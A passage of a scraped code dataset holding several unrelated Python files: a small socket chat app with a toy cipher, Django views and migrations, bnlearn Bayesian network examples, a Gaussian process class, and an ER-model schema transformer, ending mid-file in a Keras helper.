else:\n j = 0\n mappedKey += key[j]\n j += 1\n\n message = message.upper()\n mappedKey = mappedKey.upper()\n\n return Encrypt.encryption(message, mappedKey)\n#this decrypts the message using the decryption method in the encrypt file\ndef decrypt(message):\n key = 'as'\n mappedKey = \"\"\n\n j = 0\n\n for i in message:\n if i == chr(32):\n mappedKey += chr(32)\n else:\n if j < len(key):\n mappedKey += key[j]\n j += 1\n else:\n j = 0\n mappedKey += key[j]\n j += 1\n\n message = message.upper()\n mappedKey = mappedKey.upper()\n\n return Encrypt.decryption(message, mappedKey)\n#sets up the server and accepts connections from clients\ndef connections(serverport):\n serverSocket = socket(AF_INET,SOCK_STREAM)\n serverSocket.bind(('', serverport))\n serverSocket.listen(1)\n\n while True:\n client, client_address = serverSocket.accept()\n msg = client.recv(1024).decode(\"utf8\")\n print(msg)\n msg = decrypt(msg)\n msg = msg[0] + msg[1:].lower()\n messages.insert(INSERT,'%s\\n' % msg)\n if msg == bytes(\"quit\", \"utf8\"):\n client.send(bytes(\"{quit}\", \"utf8\"))\n else:\n client.close()\n#this sets ups the client and sends messages to the server\ndef send(name, event=None):\n client = ('127.0.0.1', 13000)\n client_socket = socket(AF_INET, SOCK_STREAM)\n client_socket.connect(client)\n msg = input_field.get()\n messages.insert(INSERT,name+': ' '%s\\n' % msg)\n msg = encrypt(name+': '+msg)\n input_user.set('')\n client_socket.send(bytes(msg.encode()))\n if msg == \"{quit}\":\n client_socket.close()\n top.quit()\n\nif __name__ == \"__main__\":\n #takes the users name\n name = input('Enter your name: ')\n #sets up the chat window\n window = Tk()\n window.title(\"Chatt App\")\n messages = Text(window)\n messages.pack()\n #starts the server\n server_thread = Thread(target=connections, args=((12000,)))\n server_thread.start()\n #sets up user inout field and submit button\n input_user = StringVar()\n input_field = Entry(window, text=input_user)\n input_field.pack(side=BOTTOM, fill=X)\n send_button = Button(window, text=\"Send\", command=send)\n send_button.pack()\n\n def Enter_pressed(event):\n\n sendmsg = Thread(target=send, args=((name,)))\n sendmsg.start()\n\n return \"break\"\n\n frame = Frame(window)\n input_field.bind(\"\", Enter_pressed)\n frame.pack()\n\n window.mainloop()\n","sub_path":"v5 - Copy.py","file_name":"v5 - Copy.py","file_ext":"py","file_size_in_byte":3037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"581230546","text":"import json\nfrom datetime import date, datetime\n\nimport pytz\n\nfrom sqlalchemy_utils.functions import get_columns\n\nfrom pulsar.utils.html import nicename\n\nfrom lux.extensions import rest\n\n\nclass RestModel(rest.RestModel):\n '''A rest model based on SqlAlchemy ORM\n '''\n def tojson(self, obj, exclude=None):\n exclude = set(exclude or ())\n columns = get_columns(obj)\n\n fields = {}\n for field in columns:\n try:\n data = obj.__getattribute__(field.name)\n if isinstance(data, date):\n if isinstance(data, datetime) and not data.tzinfo:\n data = pytz.utc.localize(data)\n data = data.isoformat()\n else: # Test Json\n json.dumps(data)\n except TypeError:\n continue\n if data is not None:\n fields[field.name] = data\n # a json-encodable dict\n return fields\n\n def _load_columns(self, app):\n '''List of column definitions\n '''\n input_columns = self._columns or []\n model = app.odm()[self.name]\n cols = get_columns(model)._data.copy()\n columns = []\n\n for info in input_columns:\n name = info['name']\n col = cols.pop(name, None)\n if col:\n default = column_info(name, col)\n default.update(info)\n info = default\n columns.append(info)\n\n for name, col in cols.items():\n columns.append(column_info(name, col))\n\n return columns\n\n\ndef column_info(name, col):\n sortable = True\n filter = True\n try:\n type = _types.get(col.type.python_type, 'string')\n except NotImplementedError:\n type = col.type.__class__.__name__.lower()\n sortable = False\n filter = False\n\n info = {'name': name,\n 'field': col.name,\n 'displayName': nicename(name),\n 'sortable': sortable,\n 'filter': filter,\n 'type': type}\n return info\n\n\n_types = {int: 'integer',\n bool: 'boolean',\n date: 'date',\n datetime: 'datetime'}\n","sub_path":"lux/extensions/odm/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2190,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"303819228","text":"#!/usr/bin/env python3.6\nimport models\nimport generator\nimport json\n\ndef get_entity_by_name(entities, name):\n \"\"\"\n Searches and returns the entity from a list of entities with a given name\n :param entities: List\n :param name: str, name of searched entity\n :return: EREntityType, the entity with given name. If no entity is found, a exception is thrown\n \"\"\"\n for e in entities:\n if e.get_name() == name:\n return e\n\n err = \"No entity in entities found: Search: \"+str(name)+\" in \"+str(entities)\n raise Exception(err)\n\ndef get_erm_from_schema(schema):\n \"\"\"\n Transform a given schema into an ERModel object\n :param schema: Given schema for transformation\n :return: ERModel object\n \"\"\"\n entities = []\n relations = []\n\n for i in range(0, len(schema[0])): # Iterate over each entity\n entity = schema[0][i][0] # Gets the entity name\n attributes = []\n for att, key_type in schema[0][i][1]: # Get the attributes of the entity\n attributes.append(models.ERAttribute(att, None, key_type)) # Create a list of ERAttribute\n\n entities.append(models.EREntityType(entity, attributes, schema[0][i][2])) # Create an EREntityType\n\n\n for relation in schema[1]:\n arcs = []\n # in the relation object -2 is the name, -1 is a list of attributes\n # so from 0:-2 are all arcs\n for arc in relation[:-2]: # iterate over all arcs\n ent = get_entity_by_name(entities, arc[0]) # get the respective entity\n arcs.append(models.ERRelationArc(None, ent, arc[1], arc[2])) # create an ERRelationArc object\n\n relation_attributes = [] # Create an ERAttribute object for each given attribute\n for att, key_type in relation[-1]:\n relation_attributes.append(models.ERAttribute(att, None, key_type))\n\n relations.append(models.ERRelationType(relation[-2], relation_attributes, arcs))\n\n return models.ERModel(entities, relations, schema[2]) # Create ERModel object\n\ndef get_json_from_erm(erm):\n\n json = \"[\"\n i = 0\n for entity in erm.get_entities():\n ent_name = str(entity.get_name())\n ent_id = ent_name\n i+=1\n json += \"{ data: { id: '\"+ent_id+\"', name: '\"+ent_name+\"'}, classes: 'entity'},\"\n for attribute in entity.get_attributes():\n att_name = str(attribute.get_name())\n att_id = att_name + str(i)\n i += 1\n json += \"{ data: { id: '\"+ent_id+\"-\"+att_id+\"attribute', name: '\"+att_name+\"'}, classes: 'attribute \"+attribute.get_keytype()+\"' },{data: {id: '\"+ent_id+att_id+\"edge', source: '\"+ent_id+\"-\"+att_id+\"attribute', target: '\"+ent_id+\"'}},\"\n\n\n\n for relation in erm.get_relations():\n rel_name = relation.get_name()\n rel_id = rel_name + str(i)\n i += 1\n json += \"{ data: { id: '\"+rel_id+\"', name: '\"+rel_name+\"' }, classes: 'relation' },\"\n for attribute in relation.get_attributes():\n att_name = str(attribute.get_name())\n att_id = att_name + str(i)\n i += 1\n json += \"{ data: { id: '\" + rel_id + \"-\" + att_id + \"attribute', name: '\" + att_name + \"'}, classes: 'attribute \" + attribute.get_keytype() + \"' },{data: {id: '\" + rel_id + att_id + \"edge', source: '\" + rel_id + \"-\" + att_id + \"attribute', target: '\" + rel_id + \"'}},\"\n\n for arc in relation.get_relation_arcs():\n ent_name = str(arc.get_entity().get_name())\n card = str(arc.get_cardinality())\n json += \"{data: {id: '\"+rel_id+ent_name+\"-rel-edge',source: '\"+ent_name+\"',target: '\"+rel_id+\"', name: '\"+card+\"', }},\"\n\n\n\n\n final_json = json[:-1] + \"]\"\n\n json += \"]\"\n\n return json\n\ndef get_key_attributes(attributes):\n\tkeyAtt = []\n\tfor (e1, e2) in attributes:\n\t\tif e2 == 'PK':\n\t\t\tkeyAtt.append((e1,e2))\n\treturn keyAtt\n\t\ndef get_keys_from_name(name, list):\n\tfor (list_name, att, keys) in list:\n\t\tif list_name == name:\n\t\t\treturn keys\n\ndef get_atts_from_name(name, list):\n\tfor (list_name, att, keys) in list:\n\t\tif list_name == name:\n\t\t\tkey_list = []\n\t\t\tfor (key_name, key) in keys:\n\t\t\t\tkey_list.append((key_name, key_name))\n\t\t\treturn key_list\n\t\t\t\n\t\t\t\ndef get_relation_schema_from_schema(schema):\n\n\t# get entities and relations from schema\n\tlist_of_entities = schema[0]\n\tlist_of_relations = schema[1]\n\t\n\tlist_of_relation_schema = []\n\t# parse entities\n\tfor entity in list_of_entities:\n\t\tname = entity[0]\n\t\tattributes = entity[1]\n\t\tkeys = get_key_attributes(attributes)\n\t\tmodel = [name, attributes, keys]\n\t\tlist_of_relation_schema.append(model)\n\t# parse relations\n\tfor relation in list_of_relations:\n\t\t\n\t\t# define cases\n\t\tonetoone = False\n\t\tmton = False\n\t\toneton = False\n\t\t\n\t\tkey_list = []\n\t\tatt_list = []\n\t\t# iterate over participants to determine relation type and create list of keys to be added\n\t\tfor (name, e1, e2) in relation[: -2]:\n\t\t\t# 1:1 \n\t\t\tif e1 == 1 and e2 == 1:\n\t\t\t\tonetoone = True\n\t\t\t# 1:m\n\t\t\tif e1 > 1 or e2 > 1 and oneton:\n\t\t\t\toneton = False\n\t\t\t\tonetoone = False\n\t\t\t\tkey_list = key_list + (get_keys_from_name(name, list_of_relation_schema))\n\t\t\t\tatt_list = att_list + (get_atts_from_name(name, list_of_relation_schema))\n\t\t\t\tbreak\n\t\t\t\t\n\t\t\t# 1:n\n\t\t\tif e1 > 1 or e2 > 1:\n\t\t\t\tonetoone = False\n\t\t\t\tmton = True\n\t\t\t\toneton = True\n\t\t\t\tkey_list = key_list + (get_keys_from_name(name, list_of_relation_schema))\n\t\t\t\tatt_list = att_list + (get_atts_from_name(name, list_of_relation_schema))\n\t\n\t\t# if m:n - create new table\n\t\tif mton:\n\t\t\t\n\t\t\tlist_of_relation_schema.append((relation[-2], relation[-1]+att_list, key_list))\n\t\t\t\n\t#print(list_of_relation_schema)\n\treturn relation_schema_to_json(list_of_relation_schema)\n\ndef relation_schema_to_json(list_of_relation_schema):\n\tlist_of_json = []\n\tfor relation_scheme in list_of_relation_schema:\n\t\tmodel = {'name': relation_scheme[0], 'pk': relation_scheme[2], 'attributes': relation_scheme[1]}\n\t\tlist_of_json.append(model)\n\t#print(list_of_json)\n\t# TODO: Maybe Remove this?\n\t#with open('seed.json', 'w') as fp:\n\t#\tjson.dump(list_of_json, fp)\n\treturn json.dumps(list_of_json)","sub_path":"transformator.py","file_name":"transformator.py","file_ext":"py","file_size_in_byte":6047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"509421879","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('recommend', '0011_auto_20151114_1107'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='country',\n name='tags',\n ),\n migrations.AddField(\n model_name='country',\n name='tags',\n field=models.ManyToManyField(related_name='countries', null=True, to='recommend.CountryTag'),\n ),\n ]\n","sub_path":"recommend/migrations/0012_auto_20151114_1724.py","file_name":"0012_auto_20151114_1724.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"429030777","text":"import urllib.request\nfrom html.parser import HTMLParser\nimport re\n\nfrom bpy.types import Operator\n\nVERSION = '\"version\"'\n\n\nclass SimpleParser(HTMLParser):\n result = []\n\n def handle_data(self, data):\n self.result.append(data)\n\n def get_results(self):\n return \"\".join(self.result)\n\n\nclass CheckForUpdates(Operator):\n \"\"\"Make a tree\"\"\"\n bl_idname = \"mod_tree.check_for_updates\"\n bl_label = \"Check for Updates\"\n\n def execute(self, context):\n\n # get current __init__.py page from github\n with urllib.request.urlopen('https://github.com/MaximeHerpin/modular_tree/blob/master/__init__.py') as response:\n data = response.read()\n\n if response.reason == 'OK':\n\n html = data.decode('utf-8')\n\n parser = SimpleParser()\n parser.feed(html)\n page = parser.get_results()\n\n # \"version \": (n, n )\n my_regex = re.compile(r'\\\"version\\\":\\s*\\(2,\\s*7\\)', re.DOTALL)\n # check if version number is on page\n if re.search(my_regex, page):\n self.report({'ERROR'}, \"You have the latest official release.\")\n else:\n self.report({'ERROR'}, \"New update available!\")\n\n return {'FINISHED'}\n\n else:\n self.report({'ERROR'}, \"Could not connect: {} {}\".format(response.status, response.reason))\n return {'CANCELLED'}\n","sub_path":"All_In_One/addons/modular_tree-master/check_for_updates.py","file_name":"check_for_updates.py","file_ext":"py","file_size_in_byte":1442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"91351769","text":"import bnlearn\nprint(bnlearn.__version__)\ndir(bnlearn)\n\n\n# %%\ndir(bnlearn.structure_learning)\n\n\n# %% Load example dataframe from sprinkler\ndf = bnlearn.import_example()\n# Structure learning\nmodel = bnlearn.structure_learning.fit(df)\n# Plot\nG = bnlearn.plot(model)\n\n\n# %% Try all methods vs score types\nmodel_hc_bic = bnlearn.structure_learning.fit(df, methodtype='hc', scoretype='bic')\nmodel_hc_k2 = bnlearn.structure_learning.fit(df, methodtype='hc', scoretype='k2')\nmodel_hc_bdeu = bnlearn.structure_learning.fit(df, methodtype='hc', scoretype='bdeu')\nmodel_ex_bic = bnlearn.structure_learning.fit(df, methodtype='ex', scoretype='bic')\nmodel_ex_k2 = bnlearn.structure_learning.fit(df, methodtype='ex', scoretype='k2')\nmodel_ex_bdeu = bnlearn.structure_learning.fit(df, methodtype='ex', scoretype='bdeu')\n\nbnlearn.compare_networks(model, model_hc_bic, pos=G['pos'])\n\n\n# %% Example compare networks\n# Load asia DAG\nmodel = bnlearn.import_DAG('asia')\n# plot ground truth\nG = bnlearn.plot(model)\n# Sampling\ndf = bnlearn.sampling(model, n=10000)\n# Structure learning of sampled dataset\nmodel_sl = bnlearn.structure_learning.fit(df, methodtype='hc', scoretype='bic')\n# Plot based on structure learning of sampled data\nbnlearn.plot(model_sl, pos=G['pos'])\n# Compare networks and make plot\nbnlearn.compare_networks(model, model_sl, pos=G['pos'])\n\n\n# Structure learning with black list\nmodel_bl = bnlearn.structure_learning.fit(df, methodtype='hc', white_list=['asia','tub','bronc','xray','smoke'])\nbnlearn.plot(model_bl, pos=G['pos'])\nbnlearn.compare_networks(model, model_bl, pos=G['pos'])\n\n# %% PARAMETER LEARNING\ndir(bnlearn.parameter_learning)\n\ndf = bnlearn.import_example()\nmodel = bnlearn.import_DAG('sprinkler', CPD=False)\nmodel_update = bnlearn.parameter_learning.fit(model, df)\nbnlearn.plot(model_update)\n\nmodel_true = bnlearn.import_DAG('sprinkler', CPD=True)\n\n# %% LOAD BIF FILE\nDAG = bnlearn.import_DAG('alarm', verbose=0)\ndf = bnlearn.sampling(DAG, n=1000)\nmodel_update = bnlearn.parameter_learning.fit(DAG, df)\nG = bnlearn.plot(model_update)\nbnlearn.print_CPD(model_update)\n\n\n# %% INFERENCE\nDAG = bnlearn.import_DAG('sprinkler')\nbnlearn.plot(DAG)\nq1 = bnlearn.inference.fit(DAG, variables=['Wet_Grass'], evidence={'Rain':1, 'Sprinkler':0, 'Cloudy':1})\nq2 = bnlearn.inference.fit(DAG, variables=['Wet_Grass','Rain'], evidence={'Sprinkler':1})\n\nprint(q1)\nprint(q2)\n\n\n# %% INFERENCE 2\nDAG = bnlearn.import_DAG('asia')\nbnlearn.plot(DAG)\nq1 = bnlearn.inference.fit(DAG, variables=['lung'], evidence={'bronc':1, 'smoke':1})\nq2 = bnlearn.inference.fit(DAG, variables=['bronc','lung'], evidence={'smoke':1, 'xray':0, 'tub':1})\nq3 = bnlearn.inference.fit(DAG, variables=['lung'], evidence={'bronc':1, 'smoke':1})\n\nprint(q1)\nprint(q2)\n\n\n# %%\nDAG1 = bnlearn.import_DAG('sprinkler', CPD=False)\nDAG = bnlearn.import_DAG('asia')\nbnlearn.plot(DAG)\nbnlearn.print_CPD(DAG)\n\ndf = bnlearn.sampling(DAG, n=1000)\nvector = bnlearn.adjmat2vec(DAG['adjmat'])\nadjmat = bnlearn.vec2adjmat(vector['source'], vector['target'])\n\n# %%\nfrom pgmpy.factors.discrete import TabularCPD\nedges = [('A', 'E'),\n ('S', 'E'),\n ('E', 'O'),\n ('E', 'R'),\n ('O', 'T'),\n ('R', 'T')]\n\nDAG = bnlearn.make_DAG(edges)\nbnlearn.plot(DAG)\n\n\ncpd_A = TabularCPD(variable='A', variable_card=3, values=[[0.3], [0.5], [0.2]])\nprint(cpd_A)\ncpd_S = TabularCPD(variable='S', variable_card=2, values=[[0.6],[ 0.4]])\nprint(cpd_S)\ncpd_E = TabularCPD(variable='E', variable_card=2,\n values=[\n [0.75,0.72,0.88,0.64,0.70,0.90],\n [0.25,0.28,0.12,0.36,0.30,0.10]\n ],\n evidence=['A', 'S'],\n evidence_card=[3, 2])\nprint(cpd_E)\n\n\nDAG = bnlearn.make_DAG(DAG, CPD=cpd_A, checkmodel=False)\nbnlearn.print_CPD(DAG, checkmodel=False)\n\n# %% Create a simple DAG:\nfrom pgmpy.factors.discrete import TabularCPD\n\nedges = [('Cloudy', 'Sprinkler'),\n ('Cloudy', 'Rain'),\n ('Sprinkler', 'Wet_Grass'),\n ('Rain', 'Wet_Grass')]\n\nDAG = bnlearn.make_DAG(edges)\nbnlearn.plot(DAG)\nbnlearn.print_CPD(DAG)\n\n\n# Cloudy\ncpt_cloudy = TabularCPD(variable='Cloudy', variable_card=2, values=[[0.3], [0.7]])\nprint(cpt_cloudy)\n\n# Sprinkler\ncpt_sprinkler = TabularCPD(variable='Sprinkler', variable_card=2,\n values=[[0.4, 0.9], [0.6, 0.1]],\n evidence=['Cloudy'], evidence_card=[2])\n# Rain\ncpt_rain = TabularCPD(variable='Rain', variable_card=2,\n values=[[0.8, 0.2], [0.2, 0.8]],\n evidence=['Cloudy'], evidence_card=[2])\n\n# Wet Grass\ncpt_wet_grass = TabularCPD(variable='Wet_Grass', variable_card=2,\n values=[[1, 0.1, 0.1, 0.01],\n [0, 0.9, 0.9, 0.99]],\n evidence=['Sprinkler', 'Rain'],\n evidence_card=[2, 2])\n\nDAG = bnlearn.make_DAG(DAG, CPD=cpt_cloudy, checkmodel=False)\nDAG = bnlearn.make_DAG(DAG, CPD=[cpt_cloudy, cpt_sprinkler])\nDAG = bnlearn.make_DAG(DAG, CPD=[cpt_cloudy, cpt_sprinkler, cpt_rain, cpt_wet_grass])\nbnlearn.print_CPD(DAG)\n\n","sub_path":"bnlearn/examples.py","file_name":"examples.py","file_ext":"py","file_size_in_byte":5175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"599842694","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n\nclass Shape:\n def __init__(self, name, side_lengths):\n self.side_lengths = np.array(side_lengths)\n self.name = name\n\n def perimeter(self):\n return sum(self.side_lengths)\n\n def increase(self):\n print(f\"You increase the sides of the {self.name} by 1.\")\n self.side_lengths = self.side_lengths + 1\n\n\n# Create shape\nnew_shape = Shape('baby_triangle', [1, 1, 1])\nprint(new_shape.name)\nprint(new_shape.side_lengths)\n\n# Find its original perimeter and the new one after increasing the side lengths\nprint(new_shape.perimeter())\nnew_shape.increase()\nprint(new_shape.perimeter())\n\n\nclass Kernel:\n \"\"\"\n A class used to define a specific Gaussian Kernel.\n\n ...\n\n Attributes\n ----------\n l : float\n length parameter\n sigma: float\n variance parameter\n X1 : list\n first input vector\n X2 : list\n second input vector\n\n Methods\n -------\n covariance()\n computes the covariance matrix using the gaussian covariance function\n \"\"\"\n\n def __init__(self, l, sigma, X1, X2):\n self.X1 = np.array(X1).reshape(-1, 1) # convert to numpy column vector\n self.X2 = np.array(X2).reshape(-1, 1)\n self.l = l\n self.sigma = sigma\n\n def covariance(self):\n n1 = self.X1.shape[0]\n n2 = self.X2.shape[0]\n cov = np.zeros(shape=(n1, n2))\n\n for i in range(0, n1):\n for j in range(0, n2):\n cov[i, j] = (self.sigma ** 2 * np.exp(\n -0.5 * np.linalg.norm(self.X1[i, :] - self.X2[j, :]) ** 2 / (self.l ** 2)))\n return cov\n\n\ntest_kernel = Kernel(6, 1, np.linspace(-10, 10, 20), np.linspace(-10, 10, 20))\ntest_kernel.covariance()\n\nplt.clf()\nplt.imshow(test_kernel.covariance())\nplt.show()\n\n\nclass Gp:\n \"\"\"\n A class for working with Gaussian Processes.\n\n ...\n\n Attributes\n ----------\n x_new: list\n values used as test inputs (the range of interest)\n kernel: Kernel\n a kernel object\n n_samples: int\n samples to be drawn\n samples:\n samples drawn from a multivariate normal based on the mean and covariance\n mu:\n mean of the normal distribution used to obtain samples\n\n Methods\n -------\n get_samples():\n draws samples from a multivariate normal\n train(x_train, y_train):\n updates the mean and covariance and draws new samples\n plot():\n create a line plot of the current samples\n \"\"\"\n\n def __init__(self, x_new, kernel, n_samples, samples=None, mu=None):\n self.x_new = x_new\n self.kernel = kernel\n self.n_samples = n_samples\n self.samples = [] if samples is None else samples\n self.mu = np.zeros(shape=(1, x_new.shape[0])).ravel() if samples is None else mu\n\n def get_samples(self):\n n = self.x_new.shape[0]\n current_kernel = Kernel(self.kernel.l, self.kernel.sigma, self.x_new, self.x_new)\n current_covariance = current_kernel.covariance()\n self.samples = np.zeros(shape=(n, self.n_samples))\n for i in range(0, self.n_samples):\n self.samples[:, i] = np.random.multivariate_normal(self.mu, current_covariance)\n\n def train(self, x_train, y_train):\n k_11 = Kernel(self.kernel.l, self.kernel.sigma, x_train, x_train)\n k_12 = Kernel(self.kernel.l, self.kernel.sigma, x_train, self.x_new)\n k_22 = Kernel(self.kernel.l, self.kernel.sigma, self.x_new, self.x_new)\n sigma_11 = k_11.covariance()\n sigma_22 = k_22.covariance()\n sigma_12 = k_12.covariance()\n # cov = sigma_22 - np.matmul(np.matmul(sigma_12.transpose(),\n # np.linalg.inv(sigma_11)), sigma_12)\n cov = sigma_22 - sigma_12.transpose().dot(np.linalg.inv(sigma_11)).dot(sigma_12)\n self.mu = np.matmul(np.matmul(sigma_12.transpose(), np.linalg.inv(sigma_11)), y_train)\n n = self.x_new.shape[0]\n self.samples = np.zeros(shape=(n, self.n_samples))\n print(cov)\n print(self.n_samples)\n for i in range(0, self.n_samples):\n self.samples[:, i] = np.random.multivariate_normal(self.mu.ravel(), cov)\n print(self.samples[:, i])\n # return self.samples\n\n def plot(self):\n for i in range(0, self.n_samples):\n plt.plot(self.x_new, self.samples[:, i])\n plt.show()\n\n\nx = np.linspace(-10, 10, 21)\ninit_kernel = Kernel(4, 1, x, x)\ngp = Gp(x, init_kernel, 6)\ngp.get_samples()\ngp.plot()\n\n## train\nx_train = [-7, -2, 5]\ny_train = [-0.5, 1, 0]\ngp.train(x_train, y_train)\n\ngp.plot()\n\n","sub_path":"public/code/gaussian_processes.py","file_name":"gaussian_processes.py","file_ext":"py","file_size_in_byte":4638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"314207919","text":"from django.shortcuts import render_to_response\nfrom deal.models import Deal, Venue\nfrom forms import DealForm, VenueForm\nfrom django.http import HttpResponseRedirect\nfrom django.core.context_processors import csrf\n\n\ndef deals(request):\n\n args = {}\n args.update(csrf(request))\n\n args['deals'] = Deal.objects.all()\n\n return render_to_response('deals.html', args)\n\n\ndef deal(request, deal_id=1):\n return render_to_response('deal.html',\n {'deal': Deal.objects.get(id=deal_id)})\n\n\ndef create_venue(request):\n if request.POST:\n form = VenueForm(request.POST)\n if form.is_valid():\n form.save()\n\n return HttpResponseRedirect('/')\n else:\n form = VenueForm()\n\n args = {}\n args.update(csrf(request))\n\n args['form'] = form\n\n return render_to_response('create_venue.html', args)\n\n\ndef create_deal(request, venue_id):\n v = Venue.objects.get(id=venue_id)\n\n if request.POST:\n f = DealForm(request.POST)\n if f.is_valid():\n d = f.save(commit=False)\n d.venue = v\n d.save()\n\n return HttpResponseRedirect('/')\n else:\n f = DealForm()\n\n args = {}\n args.update(csrf(request))\n\n args['venue'] = v\n args['form'] = f\n\n return render_to_response('create_deal.html', args)\n\n\ndef search_titles(request):\n if request.method == 'POST':\n search_text = request.POST['search_text']\n else:\n search_text = ''\n\n deals = Deal.objects.filter(title__contains=search_text)\n\n return render_to_response('ajax_search.html', {'deals': deals})","sub_path":"dealy/deal/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"59238226","text":"import logging\n\nfrom django.db import transaction\n\nlogger = logging.getLogger('backend')\n\n\n@transaction.atomic\ndef update_case_metadata(instance, metadata) -> None:\n logger.info('Updating case metadata...')\n instance.patient_id = metadata['PatientID']\n instance.patient_sex = metadata['PatientSex']\n instance.patient_age = int(metadata['PatientAge'][:-1])\n instance.save()\n logger.info('Case metadata updated!')\n\n\n@transaction.atomic\ndef update_case_features(instance, features) -> None:\n logger.info('Updating case features...')\n instance.normal = features[0]\n instance.pneumonia = features[2]\n instance.covid = features[1]\n instance.save()\n logger.info('Case features updated!')\n","sub_path":"ai_corona/transactions.py","file_name":"transactions.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"320963729","text":"from sklearn.datasets import load_iris\nfrom sklearn.naive_bayes import GaussianNB\nimport numpy as np\nX, y = load_iris(return_X_y=True)\n\nC = []\nfor cl in np.unique(y):\n yb = np.empty_like(y)\n m = y == cl\n yb[m] = 1\n yb[~m] = 0\n _ = GaussianNB().fit(X, yb)\n C.append(_)\n\nhy = np.vstack([c.predict_proba(X)[:, 1] for c in C]).T\nhy = hy.argmax(axis=1)\n","sub_path":"codigo/ovr.py","file_name":"ovr.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"385544978","text":"nama_band = [\n 'payung tunduh',\n 'dialog dini hari',\n 'mr. sonjaya',\n 'parahyena',\n 'syahrini' #tidak akan ditampilkan di zip\n]\n\nlagu =[\n 'akad',\n 'zona nyaman',\n 'rumahku',\n 'sang filsuf'\n ]\n\n#enumerate\nenumerate\nfor i,val in enumerate(nama_band):\n print(f'ini index ke {i} dan value : {val}')\n\n#zip -> kalo array tidak sesuai tidak akan ditampilkan\nfor band,lagu in zip(nama_band,lagu):\n print(band,lagu)\n\nprint(50*\"=\")\nplaylist = {'baby','ahay dedeuh','gg'}\nplaylist2 = {\n 'payung teduh':\"akad\",\n 'fourtwnty':'zona nyaman',\n 'dialog dini hari':'rumahku'\n}\n\nfor i,v in playlist2.items():\n print(f'ini key : {i} dan ini value : {v}')\n\n\n\n\n","sub_path":"dasar/teknik_looping.py","file_name":"teknik_looping.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"23151519","text":"from django.core.management.base import BaseCommand\nfrom rooms.models import Facility\n\nNAME = \"facilities\"\n\n\nclass Command(BaseCommand):\n\n help = f\"This command creates {NAME}\"\n\n def handle(self, *args, **options):\n facilities = [\"건물 내 무료 주차\", \"헬스장\", \"자쿠지\", \"수영장\"]\n for f in facilities:\n Facility.objects.create(name=f)\n self.stdout.write(self.style.SUCCESS(f\"{len(facilities)} {NAME} created!\"))\n","sub_path":"rooms/management/commands/seed_facilities.py","file_name":"seed_facilities.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"513469631","text":"#!/usr/bin/env python\n# encoding: utf-8\n# @Time : 2019/12/18 11:36\n# @Author : lxx\n# @File : process.py\n# @Software: PyCharm\n\n\n\nreplaceLocal=[]\nreplaceConcept=[]\n\n\nfor local in open(\"replaceLocal_1\",encoding=\"utf-8\"):\n local=local.strip()\n replaceLocal.append(local)\n\nfor concept in open(\"replaceConcept_1\",encoding=\"utf-8\"):\n concept=concept.strip()\n replaceConcept.append(concept)\n\n\n\nprint(\"开始。。。。。\")\nwith open(\"result_1.txt\",\"w\",encoding=\"utf-8\") as resultFile:\n for newLocal in replaceLocal:\n for newConcept in replaceConcept:\n # print(tmpTime)\n for line in open(\"template.txt\",encoding=\"utf-8\"):\n line=line.strip()\n splitWords = line.split(\"|\")\n # print(splitWords)\n tmpLocal=\"\"\n tmpConcept=\"\"\n for index,singleStr in enumerate(newLocal):\n if(index == 0):\n tmpLocal = tmpLocal + singleStr + \" Bgloc|\"\n elif(index == len(newLocal)-1):\n tmpLocal = tmpLocal + singleStr + \" Egloc|\"\n else:\n tmpLocal = tmpLocal + singleStr + \" Mgloc|\"\n\n # for singleStr in newConcept:\n # tmpConcept = tmpConcept+singleStr + \" NN|\"\n\n newLine = splitWords[0] + \"|\"+tmpLocal+ splitWords[2] + \"|\"+newConcept+\" NN|\"\n newLine=newLine[0:-1]\n resultFile.write(newLine)\n resultFile.write(\"\\n\")\n\nprint(\"结束。。。。\")\n","sub_path":"构造位置/构造位置塔里木盆地昆仑山断块有哪些井?/processAggre.py","file_name":"processAggre.py","file_ext":"py","file_size_in_byte":1653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"277614906","text":"import csv\nimport os\nfrom os.path import exists\n\nimport cv2 as cv\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom keras.models import load_model\nfrom matplotlib.image import imread as imr\nfrom numpy import fliplr as flp\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.utils import shuffle\n\nfrom classifier import Classifier\nfrom configuration import Configuration\n\nconf = Configuration().__dict__\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\n\n\nclass Helper:\n @staticmethod\n def load_samples(quantity=-1):\n \"\"\"\n return lines from csv file\n each line contains left, center, right images and steering info\n @:param csv_file: csv file path\n @:param quantity: how many lines to be returned from csv file\n \"\"\"\n samples = []\n # save samples\n with open(conf[\"selected_csv_file\"]) as file:\n for line in csv.reader(file):\n samples.append(line)\n # shuffle and return samples\n 